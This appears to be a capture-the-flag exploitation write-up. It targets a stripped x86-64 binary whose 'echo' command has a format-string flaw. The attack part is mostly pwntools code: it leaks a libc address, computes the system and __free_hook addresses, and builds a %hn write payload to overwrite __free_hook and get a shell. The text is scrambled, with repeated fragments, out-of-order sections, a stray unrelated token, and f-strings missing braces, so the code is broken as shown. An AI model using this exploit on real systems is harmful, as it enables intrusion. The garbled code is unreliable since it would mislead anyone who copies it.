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# 1️⃣ Leak libc libc_base = leak_libc(io)

def write_free_hook(io, libc_base): system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info(f'system: hex(system_addr)') log.info(f'__free_hook: hex(free_hook)')

> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like:

def leak_libc(io): io.sendlineafter(b'> ', b'echo %7$p') io.recvuntil(b'echo ') leak = int(io.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') # __libc_start_main+231 is the usual location we see; adjust if needed libc_start_main_ret = leak - 231 libc_base = libc_start_main_ret - libc.sym['__libc_start_main'] log.info(f'Libc base: hex(libc_base)') return libc_base SONE-127 2021

if __name__ == '__main__': main()

# 3️⃣ Get a shell get_shell(io)

The final crafted string (Python example): # 1️⃣ Leak libc libc_base = leak_libc(io) def

low = free_hook & 0xffff high = (free_hook >> 16) & 0xffff diff = (high - low) % 0x10000

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string :

# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument target = free_hook low = target & 0xffff

# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)

| Symbol | Offset (hex) | Address (example) | |-----------------|--------------|-------------------| | system | 0x4f550 | 0x7f5c190f550 | | __free_hook | 0x3ed8e8 | 0x7f5c193ed8e8 | | /bin/sh string| 0x1b75aa | 0x7f5c191b75aa | Use pwntools : libc = ELF('libc-2.31.so') system_addr = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base binsh = next(libc.search(b'/bin/sh')) + libc_base 5.3 Write system into __free_hook The binary uses malloc / free internally for the upload / download commands. By uploading a large payload we can control a heap chunk and then use the format‑string write to place the system address at __free_hook .

target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff